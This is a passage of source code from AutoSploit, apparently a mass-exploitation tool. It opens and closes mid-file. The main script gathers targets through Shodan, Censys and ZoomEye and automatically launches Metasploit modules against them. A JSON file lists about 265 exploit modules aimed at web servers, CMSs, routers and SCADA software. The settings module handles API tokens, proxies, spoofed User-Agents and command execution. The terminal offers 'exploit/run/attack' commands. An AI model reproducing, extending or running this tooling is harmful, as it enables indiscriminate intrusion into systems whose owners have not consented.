208 | opt.searchQuery, proxy=headers[0], agent=headers[1], 209 | save_mode=search_save_mode 210 | ).search() 211 | api_searches[1]( 212 | keys["shodan"][0], opt.searchQuery, proxy=headers[0], agent=headers[1], 213 | save_mode=search_save_mode 214 | ).search() 215 | api_searches[2]( 216 | keys["censys"][1], keys["censys"][0], opt.searchQuery, proxy=headers[0], agent=headers[1], 217 | save_mode=search_save_mode 218 | ).search() 219 | if opt.startExploit: 220 | hosts = open(lib.settings.HOST_FILE).readlines() 221 | if opt.whitelist: 222 | hosts = lib.exploitation.exploiter.whitelist_wash(hosts, whitelist_file=opt.whitelist) 223 | if opt.checkIfHoneypot != 1000: 224 | check_pot = True 225 | else: 226 | check_pot = False 227 | lib.exploitation.exploiter.AutoSploitExploiter( 228 | opt.msfConfig, 229 | loaded_modules, 230 | hosts, 231 | ruby_exec=opt.rubyExecutableNeeded, 232 | msf_path=opt.pathToFramework, 233 | dryRun=opt.dryRun, 234 | shodan_token=keys["shodan"][0], 235 | check_honey=check_pot, 236 | compare_honey=opt.checkIfHoneypot 237 | ).start_exploit() 238 | -------------------------------------------------------------------------------- /etc/json/default_modules.json: -------------------------------------------------------------------------------- 1 | { 2 | "exploits": [ 3 | "exploit/windows/ftp/ms09_053_ftpd_nlst", 4 | "exploit/windows/firewall/blackice_pam_icq", 5 | "exploit/windows/http/amlibweb_webquerydll_app", 6 | "exploit/windows/http/ektron_xslt_exec_ws", 7 | "exploit/windows/http/umbraco_upload_aspx", 8 | "exploit/windows/iis/iis_webdav_scstoragepathfromurl", 9 | "exploit/windows/iis/iis_webdav_upload_asp", 10 | "exploit/windows/iis/ms01_023_printer", 11 | "exploit/windows/iis/ms01_026_dbldecode", 12 | "exploit/windows/iis/ms01_033_idq", 13 | "exploit/windows/iis/ms02_018_htr", 14 | "exploit/windows/iis/ms02_065_msadc", 15 | "exploit/windows/iis/ms03_007_ntdll_webdav", 16 | "exploit/windows/iis/msadc", 17 | "exploit/windows/isapi/ms00_094_pbserver", 18 | "exploit/windows/isapi/ms03_022_nsiislog_post", 19 | "exploit/windows/isapi/ms03_051_fp30reg_chunked", 20 | "exploit/windows/isapi/rsa_webagent_redirect", 21 | "exploit/windows/isapi/w3who_query", 22 | "exploit/windows/scada/advantech_webaccess_dashboard_file_upload", 23 | "exploit/windows/ssl/ms04_011_pct", 24 | "exploit/freebsd/http/watchguard_cmd_exec ", 25 | "exploit/linux/http/alienvault_exec ", 26 | "exploit/linux/http/alienvault_sqli_exec ", 27 | "exploit/linux/http/astium_sqli_upload ", 28 | "exploit/linux/http/centreon_sqli_exec ", 29 | "exploit/linux/http/centreon_useralias_exec ", 30 | "exploit/linux/http/crypttech_cryptolog_login_exec ", 31 | "exploit/linux/http/dolibarr_cmd_exec ", 32 | "exploit/linux/http/goautodial_3_rce_command_injection", 33 | "exploit/linux/http/kloxo_sqli ", 34 | "exploit/linux/http/nagios_xi_chained_rce ", 35 | "exploit/linux/http/netgear_wnr2000_rce ", 36 | "exploit/linux/http/pandora_fms_sqli ", 37 | "exploit/linux/http/riverbed_netprofiler_netexpress_exe ", 38 | "exploit/linux/http/wd_mycloud_multiupload_upload ", 39 | "exploit/linux/http/zabbix_sqli ", 40 | "exploit/linux/misc/qnap_transcode_server ", 41 | "exploit/linux/mysql/mysql_yassl_getname ", 42 | "exploit/linux/mysql/mysql_yassl_hello ", 43 | "exploit/linux/postgres/postgres_payload ", 44 | "exploit/linux/samba/is_known_pipename ", 45 | "exploit/multi/browser/java_jre17_driver_manager ", 46 | "exploit/multi/http/atutor_sqli ", 47 | "exploit/multi/http/dexter_casinoloader_exec ", 48 | "exploit/multi/http/drupal_drupageddon ", 49 | "exploit/multi/http/manage_engine_dc_pmp_sqli ", 50 | "exploit/multi/http/manageengine_search_sqli ", 51 | "exploit/multi/http/movabletype_upgrade_exec ", 52 | "exploit/multi/http/php_volunteer_upload_exe ", 53 | "exploit/multi/http/sonicwall_scrutinizer_methoddetail_sqli ", 54 | "exploit/multi/http/splunk_mappy_exec ", 55 | "exploit/multi/http/testlink_upload_exec ", 56 | "exploit/multi/http/zpanel_information_disclosure_rce ", 57 | "exploit/multi/misc/legend_bot_exec ", 58 | "exploit/multi/mysql/mysql_udf_payload ", 59 | "exploit/multi/postgres/postgres_createlang ", 60 | "exploit/solaris/sunrpc/ypupdated_exec ", 61 | "exploit/unix/ftp/proftpd_133c_backdoor ", 62 | "exploit/unix/http/tnftp_savefile ", 63 | "exploit/unix/webapp/joomla_contenthistory_sqli_rce ", 64 | "exploit/unix/webapp/kimai_sqli ", 65 | "exploit/unix/webapp/openemr_sqli_privesc_upload ", 66 | "exploit/unix/webapp/seportal_sqli_exec ", 67 | "exploit/unix/webapp/vbulletin_vote_sqli_exec ", 68 | "exploit/unix/webapp/vicidial_manager_send_cmd_exec", 69 | "exploit/windows/antivirus/symantec_endpoint_manager_rce ", 70 | "exploit/windows/http/apache_mod_rewrite_ldap ", 71 | "exploit/windows/http/ca_totaldefense_regeneratereports", 72 | "exploit/windows/http/cyclope_ess_sqli", 73 | "exploit/windows/http/hp_mpa_job_acct", 74 | "exploit/windows/http/solarwinds_storage_manager_sql", 75 | "exploit/windows/http/sonicwall_scrutinizer_sql", 76 | "exploit/windows/misc/altiris_ds_sqli ", 77 | "exploit/windows/misc/fb_cnct_group ", 78 | "exploit/windows/misc/lianja_db_net ", 79 | "exploit/windows/misc/manageengine_eventlog_analyzer_rce ", 80 | "exploit/windows/mssql/lyris_listmanager_weak_pass ", 81 | "exploit/windows/mssql/ms02_039_slammer ", 82 | "exploit/windows/mssql/ms09_004_sp_replwritetovarbin ", 83 | "exploit/windows/mssql/ms09_004_sp_replwritetovarbin_sqli ", 84 | "exploit/windows/mssql/mssql_linkcrawler ", 85 | "exploit/windows/mssql/mssql_payload ", 86 | "exploit/windows/mssql/mssql_payload_sqli ", 87 | "exploit/windows/mysql/mysql_mof ", 88 | "exploit/windows/mysql/mysql_start_up ", 89 | "exploit/windows/mysql/mysql_yassl_hello", 90 | "exploit/windows/mysql/scrutinizer_upload_exec ", 91 | "exploit/windows/postgres/postgres_payload ", 92 | "exploit/windows/scada/realwin_on_fcs_login", 93 | "exploit/multi/http/rails_actionpack_inline_exec", 94 | "exploit/multi/http/rails_dynamic_render_code_exec", 95 | "exploit/multi/http/rails_json_yaml_code_exec", 96 | "exploit/multi/http/rails_secret_deserialization", 97 | "exploit/multi/http/rails_web_console_v2_code_exec", 98 | "exploit/multi/http/rails_xml_yaml_code_exec", 99 | "exploit/multi/http/rocket_servergraph_file_requestor_rce", 100 | "exploit/multi/http/phpmoadmin_exec", 101 | "exploit/multi/http/phpmyadmin_3522_backdoor", 102 | "exploit/multi/http/phpmyadmin_preg_replace", 103 | "exploit/multi/http/phpscheduleit_start_date", 104 | "exploit/multi/http/phptax_exec", 105 | "exploit/multi/http/phpwiki_ploticus_exec", 106 | "exploit/multi/http/plone_popen2", 107 | "exploit/multi/http/pmwiki_pagelist", 108 | "exploit/multi/http/joomla_http_header_rce", 109 | "exploit/multi/http/novell_servicedesk_rce", 110 | "exploit/multi/http/oracle_reports_rce", 111 | "exploit/multi/http/php_utility_belt_rce", 112 | "exploit/multi/http/phpfilemanager_rce", 113 | "exploit/multi/http/processmaker_exec", 114 | "exploit/multi/http/rocket_servergraph_file_requestor_rce", 115 | "exploit/multi/http/spree_search_exec", 116 | "exploit/multi/http/spree_searchlogic_exec", 117 | "exploit/multi/http/struts_code_exec_parameters", 118 | "exploit/multi/http/vtiger_install_rce", 119 | "exploit/multi/http/werkzeug_debug_rce", 120 | "exploit/multi/http/zemra_panel_rce", 121 | "exploit/multi/http/zpanel_information_disclosure_rce", 122 | "exploit/multi/http/joomla_http_header_rce", 123 | "exploit/unix/webapp/joomla_akeeba_unserialize", 124 | "exploit/unix/webapp/joomla_comjce_imgmanager", 125 | "exploit/unix/webapp/joomla_contenthistory_sqli_rce", 126 | "exploit/unix/webapp/joomla_media_upload_exec", 127 | "exploit/multi/http/builderengine_upload_exec", 128 | "exploit/multi/http/caidao_php_backdoor_exec", 129 | "exploit/multi/http/atutor_sqli ", 130 | "exploit/multi/http/ajaxplorer_checkinstall_exec", 131 | "exploit/multi/http/apache_activemq_upload_jsp", 132 | "exploit/unix/webapp/wp_lastpost_exec", 133 | "exploit/unix/webapp/wp_mobile_detector_upload_execute", 134 | "exploit/multi/http/axis2_deployer", 135 | "exploit/unix/webapp/wp_foxypress_upload", 136 | "exploit/linux/http/tr064_ntpserver_cmdinject", 137 | "exploit/linux/misc/quest_pmmasterd_bof", 138 | "exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload", 139 | "exploit/unix/webapp/php_xmlrpc_eval", 140 | "exploit/unix/webapp/wp_admin_shell_upload", 141 | "exploit/linux/http/sophos_wpa_sblistpack_exec", 142 | "exploit/linux/local/sophos_wpa_clear_keys", 143 | "exploit/multi/http/zpanel_information_disclosure_rce", 144 | "auxiliary/admin/cisco/cisco_asa_extrabacon", 145 | "auxiliary/admin/cisco/cisco_secure_acs_bypass", 146 | "auxiliary/admin/cisco/vpn_3000_ftp_bypass", 147 | "exploit/bsdi/softcart/mercantec_softcart ", 148 | "exploit/freebsd/misc/citrix_netscaler_soap_bof", 149 | "exploit/freebsd/samba/trans2open", 150 | "exploit/linux/ftp/proftp_sreplace ", 151 | "exploit/linux/http/dcos_marathon", 152 | "exploit/linux/http/f5_icall_cmd", 153 | "exploit/linux/http/fritzbox_echo_exec", 154 | "exploit/linux/http/gitlist_exec", 155 | "exploit/linux/http/goautodial_3_rce_command_injection", 156 | "exploit/linux/http/ipfire_bashbug_exec", 157 | "exploit/linux/http/ipfire_oinkcode_exec", 158 | "exploit/linux/http/ipfire_proxy_exec", 159 | "exploit/linux/http/kaltura_unserialize_rce", 160 | "exploit/linux/http/lifesize_uvc_ping_rce", 161 | "exploit/linux/http/nagios_xi_chained_rce", 162 | "exploit/linux/http/netgear_dgn1000_setup_unauth_exec", 163 | "exploit/linux/http/netgear_wnr2000_rce ", 164 | "exploit/linux/http/nuuo_nvrmini_auth_rce", 165 | "exploit/linux/http/nuuo_nvrmini_unauth_rce", 166 | "exploit/linux/http/op5_config_exec", 167 | "exploit/linux/http/pandora_fms_exec", 168 | "exploit/linux/http/pineapple_preconfig_cmdinject", 169 | "exploit/linux/http/seagate_nas_php_exec_noauth", 170 | "exploit/linux/http/symantec_messaging_gateway_exec", 171 | "exploit/linux/http/trendmicro_imsva_widget_exec", 172 | "exploit/linux/http/trueonline_billion_5200w_rce", 173 | "exploit/linux/http/trueonline_p660hn_v1_rce", 174 | "exploit/linux/http/trueonline_p660hn_v2_rce", 175 | "exploit/linux/http/vcms_upload", 176 | "exploit/linux/misc/lprng_format_string", 177 | "exploit/linux/misc/mongod_native_helper", 178 | "exploit/linux/misc/ueb9_bpserverd", 179 | "exploit/linux/mysql/mysql_yassl_getname", 180 | "exploit/linux/pop3/cyrus_pop3d_popsubfolders", 181 | "exploit/linux/postgres/postgres_payload", 182 | "exploit/linux/pptp/poptop_negative_read", 183 | "exploit/linux/proxy/squid_ntlm_authenticate", 184 | "exploit/linux/samba/lsa_transnames_heap", 185 | "exploit/linux/samba/setinfopolicy_heap", 186 | "exploit/linux/samba/trans2open", 187 | "exploit/multi/elasticsearch/script_mvel_rce", 188 | "exploit/multi/elasticsearch/search_groovy_script", 189 | "exploit/multi/http/atutor_sqli", 190 | "exploit/multi/http/axis2_deployer", 191 | "exploit/multi/http/familycms_less_exe", 192 | "exploit/multi/http/freenas_exec_raw", 193 | "exploit/multi/http/gestioip_exec", 194 | "exploit/multi/http/glassfish_deployer", 195 | "exploit/multi/http/glpi_install_rce", 196 | "exploit/multi/http/joomla_http_header_rce ", 197 | "exploit/multi/http/makoserver_cmd_exec", 198 | "exploit/multi/http/novell_servicedesk_rc", 199 | "exploit/multi/http/oracle_reports_rce", 200 | "exploit/multi/http/php_utility_belt_rce", 201 | "exploit/multi/http/phpfilemanager_rce", 202 | "exploit/multi/http/phpmyadmin_3522_backdoor", 203 | "exploit/multi/http/phpwiki_ploticus_exec", 204 | "exploit/multi/http/processmaker_exec", 205 | "exploit/multi/http/rails_actionpack_inline_exec", 206 | "exploit/multi/http/rails_dynamic_render_code_exec", 207 | "exploit/multi/http/rails_secret_deserialization", 208 | "exploit/multi/http/rocket_servergraph_file_requestor_rce", 209 | "exploit/multi/http/simple_backdoors_exec", 210 | "exploit/multi/http/spree_search_exec", 211 | "exploit/multi/http/spree_searchlogic_exec", 212 | "exploit/multi/http/struts2_rest_xstream", 213 | "exploit/multi/http/struts_code_exec", 214 | "exploit/multi/http/struts_code_exec_classloader", 215 | "exploit/multi/http/struts_code_exec_parameters", 216 | "exploit/multi/http/struts_dev_mode", 217 | "exploit/multi/http/sysaid_auth_file_upload", 218 | "exploit/multi/http/tomcat_jsp_upload_bypass", 219 | "exploit/multi/http/vtiger_install_rce", 220 | "exploit/multi/http/werkzeug_debug_rce", 221 | "exploit/multi/http/zemra_panel_rce", 222 | "exploit/multi/http/zpanel_information_disclosure_rce", 223 | "exploit/multi/ids/snort_dce_rpc", 224 | "exploit/multi/misc/batik_svg_java", 225 | "exploit/multi/misc/pbot_exec", 226 | "exploit/multi/misc/veritas_netbackup_cmdexec", 227 | "exploit/multi/mysql/mysql_udf_payload", 228 | "exploit/multi/php/php_unserialize_zval_cookie", 229 | "exploit/unix/http/freepbx_callmenum", 230 | "exploit/unix/http/lifesize_room", 231 | "exploit/unix/http/pfsense_clickjacking", 232 | "exploit/unix/http/pfsense_group_member_exec", 233 | "exploit/unix/http/tnftp_savefile", 234 | "exploit/unix/misc/polycom_hdx_traceroute_exec", 235 | "exploit/unix/webapp/awstats_migrate_exec", 236 | "exploit/unix/webapp/carberp_backdoor_exec", 237 | "exploit/unix/webapp/citrix_access_gateway_exec", 238 | "exploit/unix/webapp/dogfood_spell_exec", 239 | "exploit/unix/webapp/invision_pboard_unserialize_exec", 240 | "exploit/unix/webapp/joomla_contenthistory_sqli_rce", 241 | "exploit/unix/webapp/mybb_backdoor", 242 | "exploit/unix/webapp/opensis_modname_exec", 243 | "exploit/unix/webapp/oscommerce_filemanager", 244 | "exploit/unix/webapp/piwik_superuser_plugin_upload", 245 | "exploit/unix/webapp/tikiwiki_upload_exec", 246 | "exploit/unix/webapp/webtester_exec", 247 | "exploit/unix/webapp/wp_phpmailer_host_header", 248 | "exploit/unix/webapp/wp_total_cache_exec", 249 | "exploit/windows/antivirus/symantec_endpoint_manager_rce", 250 | "exploit/windows/http/ektron_xslt_exec", 251 | "exploit/windows/http/ektron_xslt_exec_ws", 252 | "exploit/windows/http/geutebrueck_gcore_x64_rce_bo", 253 | "exploit/windows/http/hp_autopass_license_traversal", 254 | "exploit/windows/http/manage_engine_opmanager_rce", 255 | "exploit/windows/http/netgear_nms_rce", 256 | "exploit/windows/http/sepm_auth_bypass_rce", 257 | "exploit/windows/http/trendmicro_officescan_widget_exec", 258 | "exploit/windows/iis/iis_webdav_upload_asp", 259 | "exploit/windows/iis/msadc", 260 | "exploit/windows/misc/manageengine_eventlog_analyzer_rce", 261 | "exploit/windows/novell/file_reporter_fsfui_upload", 262 | "exploit/windows/scada/ge_proficy_cimplicity_gefebt", 263 | "exploit/windows/smb/ipass_pipe_exec", 264 | "exploit/windows/smb/smb_relay", 265 | "auxiliary/sqli/oracle/jvm_os_code_10g", 266 | "auxiliary/sqli/oracle/jvm_os_code_11g" 267 | ] 268 | } 269 | -------------------------------------------------------------------------------- /lib/settings.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import time 4 | import socket 5 | import random 6 | import platform 7 | import getpass 8 | import tempfile 9 | import readline 10 | import distutils.spawn 11 | from subprocess import ( 12 | PIPE, 13 | Popen 14 | ) 15 | 16 | import psutil 17 | 18 | import lib.output 19 | import lib.banner 20 | import lib.jsonize 21 | 22 | 23 | class AutoSploitCompleter(object): 24 | 25 | """ 26 | object to create an auto completer for the terminal 27 | """ 28 | 29 | def __init__(self, opts): 30 | self.opts = sorted(opts) 31 | self.possibles = [] 32 | 33 | def complete_text(self, text, state): 34 | if state == 0: 35 | if text: 36 | self.possibles = [m for m in self.opts if m.startswith(text)] 37 | else: 38 | self.possibles = self.opts[:] 39 | try: 40 | return self.possibles[state] 41 | except IndexError: 42 | return None 43 | 44 | 45 | TERMINAL_HELP_MESSAGE = """ 46 | COMMAND: SUMMARY: 47 | --------- -------- 48 | view/show Show the already gathered hosts 49 | mem[ory]/history Display the command history 50 | exploit/run/attack Run the exploits on the already gathered hosts 51 | search/api/gather Search the API's for hosts 52 | exit/quit Exit the terminal session 53 | single Load a single host into the file 54 | personal/custom Load a custom host file 55 | tokens/reset Reset API tokens if needed 56 | external View loaded external commands 57 | ver[sion] View the current version of the program 58 | help/? Display this help 59 | """ 60 | 61 | # current directory 62 | CUR_DIR = "{}".format(os.getcwd()) 63 | 64 | # home 65 | HOME = "{}/.autosploit_home".format(os.path.expanduser("~")) 66 | 67 | # backup the current hosts file 68 | HOST_FILE_BACKUP = "{}/backups".format(HOME) 69 | 70 | # autosploit command history file path 71 | HISTORY_FILE_PATH = "{}/.history".format(HOME) 72 | 73 | # path to the file containing all the discovered hosts 74 | HOST_FILE = "{}/hosts.txt".format(CUR_DIR) 75 | try: 76 | open(HOST_FILE).close() 77 | except: 78 | open(HOST_FILE, "a+").close() 79 | 80 | # path to the folder containing all the JSON exploit modules 81 | EXPLOIT_FILES_PATH = "{}/etc/json".format(CUR_DIR) 82 | 83 | # path to the usage and legal file 84 | USAGE_AND_LEGAL_PATH = "{}/etc/text_files/general".format(CUR_DIR) 85 | 86 | # one bash script to rule them all takes an argument via the operating system 87 | START_SERVICES_PATH = "{}/etc/scripts/start_services.sh".format(CUR_DIR) 88 | 89 | RC_SCRIPTS_PATH = "{}/autosploit_out/".format(CUR_DIR) 90 | 91 | # path to the file that will contain our query 92 | QUERY_FILE_PATH = tempfile.NamedTemporaryFile(delete=False).name 93 | 94 | # default HTTP User-Agent 95 | DEFAULT_USER_AGENT = "AutoSploit/{} (Language=Python/{}; Platform={})".format( 96 | lib.banner.VERSION, sys.version.split(" ")[0], platform.platform().split("-")[0] 97 | ) 98 | 99 | # the prompt for the platforms 100 | PLATFORM_PROMPT = "\n{}@\033[36mPLATFORM\033[0m$ ".format(getpass.getuser()) 101 | 102 | # the prompt that will be used most of the time 103 | AUTOSPLOIT_PROMPT = "\033[31m{}\033[0m@\033[36mautosploit\033[0m# ".format(getpass.getuser()) 104 | 105 | # all the paths to the API tokens 106 | API_KEYS = { 107 | "censys": ("{}/etc/tokens/censys.key".format(CUR_DIR), "{}/etc/tokens/censys.id".format(CUR_DIR)), 108 | "shodan": ("{}/etc/tokens/shodan.key".format(CUR_DIR), ) 109 | } 110 | 111 | # all the URLs that we will use while doing the searching 112 | API_URLS = { 113 | "shodan": "https://api.shodan.io/shodan/host/search?key={token}&query={query}", 114 | "censys": "https://censys.io/api/v1/search/ipv4", 115 | "zoomeye": ( 116 | "https://api.zoomeye.org/user/login", 117 | "https://api.zoomeye.org/web/search" 118 | ) 119 | } 120 | 121 | # has msf been launched? 122 | MSF_LAUNCHED = False 123 | 124 | # token path for issue requests 125 | TOKEN_PATH = "{}/etc/text_files/auth.key".format(CUR_DIR) 126 | 127 | # location of error files 128 | ERROR_FILES_LOCATION = "{}/.autosploit_errors".format(HOME) 129 | 130 | # terminal options 131 | AUTOSPLOIT_TERM_OPTS = { 132 | 1: "usage and legal", 2: "gather hosts", 3: "custom hosts", 133 | 4: "add single host", 5: "view gathered hosts", 6: "exploit gathered hosts", 134 | 99: "quit" 135 | } 136 | 137 | # global variable for the search animation 138 | stop_animation = False 139 | 140 | 141 | def load_external_commands(): 142 | """ 143 | create a list of external commands from provided directories 144 | """ 145 | paths = ["/bin", "/usr/bin"] 146 | loaded_externals = [] 147 | for f in paths: 148 | for cmd in os.listdir(f): 149 | if not os.path.isdir("{}/{}".format(f, cmd)): 150 | loaded_externals.append(cmd) 151 | return loaded_externals 152 | 153 | 154 | def backup_host_file(current, path): 155 | """ 156 | backup the current hosts file 157 | """ 158 | import datetime 159 | import shutil 160 | 161 | if not os.path.exists(path): 162 | os.makedirs(path) 163 | new_filename = "{}/hosts_{}_{}.txt".format( 164 | path, 165 | lib.jsonize.random_file_name(length=22), 166 | str(datetime.datetime.today()).split(" ")[0] 167 | ) 168 | shutil.copyfile(current, new_filename) 169 | return new_filename 170 | 171 | 172 | def auto_completer(keywords): 173 | """ 174 | function to initialize the auto complete utility 175 | """ 176 | completer = AutoSploitCompleter(keywords) 177 | readline.set_completer(completer.complete_text) 178 | readline.parse_and_bind('tab: complete') 179 | 180 | 181 | def validate_ip_addr(provided, home_ok=False): 182 | """ 183 | validate an IP address to see if it is real or not 184 | """ 185 | if not home_ok: 186 | not_acceptable = ("0.0.0.0", "127.0.0.1", "255.255.255.255") 187 | else: 188 | not_acceptable = ("255.255.255.255",) 189 | if provided not in not_acceptable: 190 | try: 191 | socket.inet_aton(provided) 192 | return True 193 | except: 194 | return False 195 | return False 196 | 197 | 198 | def check_services(service_name): 199 | """ 200 | check to see if certain services ar started 201 | """ 202 | try: 203 | all_processes = set() 204 | for pid in psutil.pids(): 205 | running_proc = psutil.Process(pid) 206 | all_processes.add(" ".join(running_proc.cmdline()).strip()) 207 | for proc in list(all_processes): 208 | if service_name in proc: 209 | return True 210 | return False 211 | except psutil.ZombieProcess as e: 212 | # zombie processes appear to happen on macOS for some reason 213 | # so we'll just kill them off 214 | pid = str(e).split("=")[-1].split(")")[0] 215 | os.kill(int(pid), 0) 216 | return True 217 | 218 | 219 | def write_to_file(data_to_write, filename, mode=None): 220 | """ 221 | write data to a specified file, if it exists, ask to overwrite 222 | """ 223 | global stop_animation 224 | 225 | if os.path.exists(filename): 226 | if not mode: 227 | stop_animation = True 228 | is_append = lib.output.prompt("would you like to (a)ppend or (o)verwrite the file") 229 | if is_append.lower() == "o": 230 | mode = "w" 231 | elif is_append.lower() == "a": 232 | mode = "a+" 233 | else: 234 | lib.output.error("invalid input provided ('{}'), appending to file".format(is_append)) 235 | lib.output.error("Search results NOT SAVED!") 236 | 237 | if mode == "w": 238 | lib.output.warning("Overwriting to {}".format(filename)) 239 | if mode == "a": 240 | lib.output.info("Appending to {}".format(filename)) 241 | 242 | else: 243 | # File does not exists, mode does not matter 244 | mode = "w" 245 | 246 | with open(filename, mode) as log: 247 | if isinstance(data_to_write, (tuple, set, list)): 248 | for item in list(data_to_write): 249 | log.write("{}{}".format(item.strip(), os.linesep)) 250 | else: 251 | log.write(data_to_write) 252 | lib.output.info("successfully wrote info to '{}'".format(filename)) 253 | return filename 254 | 255 | 256 | def load_api_keys(unattended=False, path="{}/etc/tokens".format(CUR_DIR)): 257 | 258 | """ 259 | load the API keys from their .key files 260 | """ 261 | 262 | # make the directory if it does not exist 263 | if not os.path.exists(path): 264 | os.mkdir(path) 265 | 266 | for key in API_KEYS.keys(): 267 | if not os.path.isfile(API_KEYS[key][0]): 268 | access_token = lib.output.prompt("enter your {} API token".format(key.title()), lowercase=False) 269 | if key.lower() == "censys": 270 | identity = lib.output.prompt("enter your {} ID".format(key.title()), lowercase=False) 271 | with open(API_KEYS[key][1], "a+") as log: 272 | log.write(identity) 273 | with open(API_KEYS[key][0], "a+") as log: 274 | log.write(access_token.strip()) 275 | else: 276 | lib.output.info("{} API token loaded from {}".format(key.title(), API_KEYS[key][0])) 277 | api_tokens = { 278 | "censys": (open(API_KEYS["censys"][0]).read().rstrip(), open(API_KEYS["censys"][1]).read().rstrip()), 279 | "shodan": (open(API_KEYS["shodan"][0]).read().rstrip(), ) 280 | } 281 | return api_tokens 282 | 283 | 284 | def cmdline(command, is_msf=True): 285 | """ 286 | send the commands through subprocess 287 | """ 288 | 289 | lib.output.info("Executing command '{}'".format(command.strip())) 290 | split_cmd = [x.strip() for x in command.split(" ") if x] 291 | 292 | sys.stdout.flush() 293 | 294 | proc = Popen(split_cmd, stdout=PIPE, bufsize=1) 295 | stdout_buff = [] 296 | for stdout_line in iter(proc.stdout.readline, b''): 297 | stdout_buff += [stdout_line.rstrip()] 298 | if is_msf: 299 | print("(msf)>> {}".format(stdout_line).rstrip()) 300 | else: 301 | print("{}".format(stdout_line).rstrip()) 302 | 303 | return stdout_buff 304 | 305 | 306 | def check_for_msf(): 307 | """ 308 | check the ENV PATH for msfconsole 309 | """ 310 | return os.getenv("msfconsole", False) or distutils.spawn.find_executable("msfconsole") 311 | 312 | 313 | def logo(): 314 | """ 315 | display a random banner from the banner.py file 316 | """ 317 | print(lib.banner.banner_main()) 318 | 319 | 320 | def animation(text): 321 | """ 322 | display an animation while working, this will be 323 | single threaded so that it will not screw with the 324 | current running process 325 | """ 326 | global stop_animation 327 | i = 0 328 | while not stop_animation: 329 | """ 330 | if stop_animation is True: 331 | print("\n") 332 | """ 333 | temp_text = list(text) 334 | if i >= len(temp_text): 335 | i = 0 336 | temp_text[i] = temp_text[i].upper() 337 | temp_text = ''.join(temp_text) 338 | sys.stdout.write("\033[96m\033[1m{}...\r\033[0m".format(temp_text)) 339 | sys.stdout.flush() 340 | i += 1 341 | time.sleep(0.1) 342 | 343 | 344 | def start_animation(text): 345 | """ 346 | start the animation until stop_animation is False 347 | """ 348 | global stop_animation 349 | 350 | if not stop_animation: 351 | import threading 352 | 353 | t = threading.Thread(target=animation, args=(text,)) 354 | t.daemon = True 355 | t.start() 356 | else: 357 | lib.output.misc_info(text) 358 | 359 | 360 | def close(warning, status=1): 361 | """ 362 | exit if there's an issue 363 | """ 364 | lib.output.error(warning) 365 | sys.exit(status) 366 | 367 | 368 | def grab_random_agent(): 369 | """ 370 | get a random HTTP User-Agent 371 | """ 372 | user_agent_path = "{}/etc/text_files/agents.txt" 373 | with open(user_agent_path.format(CUR_DIR)) as agents: 374 | return random.choice(agents.readlines()).strip() 375 | 376 | 377 | def configure_requests(proxy=None, agent=None, rand_agent=False): 378 | """ 379 | configure the proxy and User-Agent for the requests 380 | """ 381 | if proxy is not None: 382 | proxy_dict = { 383 | "http": proxy, 384 | "https": proxy, 385 | "ftp": proxy 386 | } 387 | lib.output.misc_info("setting proxy to: '{}'".format(proxy)) 388 | else: 389 | proxy_dict = None 390 | 391 | if agent is not None: 392 | header_dict = { 393 | "User-Agent": agent 394 | } 395 | lib.output.misc_info("setting HTTP User-Agent to: '{}'".format(agent)) 396 | elif rand_agent: 397 | header_dict = { 398 | "User-Agent": grab_random_agent() 399 | } 400 | lib.output.misc_info("setting HTTP User-Agent to: '{}'".format(header_dict["User-Agent"])) 401 | else: 402 | header_dict = { 403 | "User-Agent": DEFAULT_USER_AGENT 404 | } 405 | 406 | return proxy_dict, header_dict 407 | 408 | 409 | def save_error_to_file(error_info, error_message, error_class): 410 | """ 411 | save an error traceback to log file for further use 412 | """ 413 | 414 | import string 415 | 416 | if not os.path.exists(ERROR_FILES_LOCATION): 417 | os.makedirs(ERROR_FILES_LOCATION) 418 | acceptable = string.ascii_letters 419 | filename = [] 420 | for _ in range(12): 421 | filename.append(random.choice(acceptable)) 422 | filename = ''.join(filename) + "_AS_error.txt" 423 | file_path = "{}/{}".format(ERROR_FILES_LOCATION, filename) 424 | with open(file_path, "a+") as log: 425 | log.write( 426 | "Traceback (most recent call):\n " + error_info.strip() + "\n{}: {}".format(error_class, error_message) 427 | ) 428 | return file_path 429 | 430 | 431 | def download_modules(link): 432 | """ 433 | download new module links 434 | """ 435 | import re 436 | import requests 437 | import tempfile 438 | 439 | lib.output.info('downloading: {}'.format(link)) 440 | retval = "" 441 | req = requests.get(link) 442 | content = req.content 443 | split_data = content.split(" ") 444 | searcher = re.compile("exploit/\w+/\w+") 445 | storage_file = tempfile.NamedTemporaryFile(delete=False) 446 | for item in split_data: 447 | if searcher.search(item) is not None: 448 | retval += item + "\n" 449 | with open(storage_file.name, 'a+') as tmp: 450 | tmp.write(retval) 451 | return storage_file.name 452 | 453 | 454 | def find_similar(command, internal, external): 455 | """ 456 | find commands similar to the one provided 457 | """ 458 | retval = [] 459 | first_char = command[0] 460 | for inter in internal: 461 | if inter.startswith(first_char): 462 | retval.append(inter) 463 | for exter in external: 464 | if exter.startswith(first_char): 465 | retval.append(exter) 466 | return retval 467 | -------------------------------------------------------------------------------- /lib/term/terminal.py: -------------------------------------------------------------------------------- 1 | import os 2 | import datetime 3 | 4 | import lib.banner 5 | import lib.settings 6 | import lib.output 7 | import lib.errors 8 | import lib.jsonize 9 | import api_calls.shodan 10 | import api_calls.zoomeye 11 | import api_calls.censys 12 | import lib.exploitation.exploiter 13 | try: 14 | raw_input 15 | except: 16 | input = raw_input 17 | 18 | 19 | class AutoSploitTerminal(object): 20 | 21 | """ 22 | class object for the main terminal of the program 23 | """ 24 | 25 | internal_terminal_commands = [ 26 | # viewing gathered hosts 27 | "view", "show", 28 | # displaying memory 29 | "mem", "memory", "history", 30 | # attacking targets 31 | "exploit", "run", "attack", 32 | # search API's 33 | "search", "api", "gather", 34 | # quit the terminal 35 | "exit", "quit", 36 | # single hosts 37 | "single", 38 | # custom hosts list 39 | "custom", "personal", 40 | # display help 41 | "?", "help", 42 | # display external commands 43 | "external", 44 | # reset API tokens 45 | "reset", "tokens", 46 | # show the version number 47 | "ver", "version", 48 | # easter eggs! 49 | "idkwhatimdoing", "ethics", "skid" 50 | ] 51 | external_terminal_commands = lib.settings.load_external_commands() 52 | api_call_pointers = { 53 | "shodan": api_calls.shodan.ShodanAPIHook, 54 | "zoomeye": api_calls.zoomeye.ZoomEyeAPIHook, 55 | "censys": api_calls.censys.CensysAPIHook 56 | } 57 | 58 | def __init__(self, tokens, modules): 59 | self.history = [] 60 | self.quit_terminal = False 61 | self.tokens = tokens 62 